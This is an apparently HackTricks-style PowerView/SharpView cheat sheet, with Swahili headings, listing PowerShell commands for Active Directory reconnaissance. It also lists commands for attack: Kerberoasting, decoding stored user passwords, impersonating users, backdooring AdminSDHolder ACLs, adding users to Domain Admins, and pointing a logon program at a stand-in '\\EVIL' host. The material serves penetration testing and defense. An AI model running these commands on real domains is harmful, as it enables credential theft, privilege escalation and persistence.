PowerView/SharpView

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Toleo la hivi karibuni zaidi la PowerView daima litakuwepo kwenye tawi la dev la PowerSploit: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

SharpView ni toleo la .NET la PowerView

Uchambuzi wa Haraka

Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

Taarifa ya Kikoa

# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID

# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy

# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller

# Get Forest info
Get-ForestDomain

Watumiaji, Vikundi, Kompyuta & OUs

# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups

# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups

#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)

Kuingia na Vikao

Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)

Kundi la Sera ya Kikundi - GPOs

Ikiwa mshambuliaji ana mamlaka makubwa juu ya GPO anaweza kuwa na uwezo wa privesc kwa kuitumia kwa kuongeza ruhusa kwa mtumiaji, kuongeza mtumiaji wa admin wa ndani kwenye mwenyeji au kuunda kazi iliyopangwa (ya moja kwa moja) kufanya kitendo. Kwa maji zaidi kuhusu hilo na jinsi ya kulitumia fuata kiungo hiki.

#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
gpresult /V #Get current policy

# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532

# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126

# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'

# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType

# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

Jifunze jinsi ya kutumia vibali juu ya GPOs na ACLs katika:

pageAbusing Active Directory ACLs/ACEs

ACL

#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs

#Other way to get ACLs of an object
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"

#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs

#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights

Faili na folda zilizoshirikiwa

Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters

Uaminifu wa Kikoa

Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts

Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)

Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest

Matunda ya Chini ya Mti

#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl

#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess

#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt

#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember

#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]

#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"

#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth

Vitu vilivyofutwa

#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

MISC

SID hadi Jina

"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName

Kerberoast

Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users

Tumia sifa tofauti (hoja)

# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred

Jifanye kama mtumiaji

# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf

Weka thamani

# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
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